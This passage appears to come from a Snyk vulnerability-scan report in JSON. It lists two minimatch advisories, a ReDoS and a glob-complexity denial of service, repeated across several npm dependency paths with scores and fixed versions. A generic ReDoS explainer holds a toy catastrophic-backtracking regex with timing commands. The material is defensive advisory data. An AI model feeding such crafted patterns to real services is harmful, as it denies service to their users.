10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": 